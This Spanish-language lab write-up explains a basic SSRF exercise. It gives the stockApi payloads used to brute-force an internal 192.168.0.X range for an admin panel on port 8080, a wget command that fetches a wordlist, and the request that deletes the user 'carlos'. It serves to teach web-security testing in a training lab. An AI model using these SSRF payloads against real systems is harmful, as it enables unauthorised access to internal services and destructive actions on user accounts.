> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/ssrf/basic-ssrf-against-internal-system.md).

# SSRF básico contra un sistema interno

## SSRF básico contra otro sistema de back-end

Este laboratorio ofrece una función de verificación de stock que consulta un servicio interno. / El objetivo es usar este mecanismo para analizar el rango interno **192.168.0.X** buscando una interfaz de administración en el puerto **8080**, luego elimina al usuario carlos.

#### **Análisis y explotación**

* El **stockApi** el parámetro se envía a **Intruder** para automatizar la prueba de la dirección interna:

```javascript
stockApi=http://192.168.0.§1§:8080/admin
```

<figure><img src="/files/ff052bb1677c327caf8ce94e750d7541c5f104e3" alt=""><figcaption></figcaption></figure>

Se lleva a cabo un ataque de fuerza bruta sobre las **254 direcciones posibles** del rango interno, todas con la ruta /admin.

Se descarga un diccionario de valores para impulsar el ataque:

```bash
wget https://gist.githubusercontent.com/danielthall/09b8f173b5c0b84065d8e211def83c0b/raw/20d713765b3fa620c09aebd36e41ce69debef865/0-1000.txt
```

* Después de lanzar el ataque, la **192.168.0.14** dirección devuelve un \*\*código HTTP 200\*\*, lo que indica que la interfaz de administración es accesible.

<figure><img src="/files/ec99baacf3c56ab35989406412d051592f842f5a" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/aef008582bcc6fe4a1b7fa9b570b4d388763227f" alt="" width="563"><figcaption></figcaption></figure>

#### **Eliminación del usuario**

* Acceso al panel de administración:

```javascript
stockApi=http://192.168.0.14:8080/admin
stockApi=http://192.168.0.14:8080/admin/delete?username=carlos
```

<figure><img src="/files/43c117803d7a1f887432aa624e6b444233236694" alt=""><figcaption></figcaption></figure>


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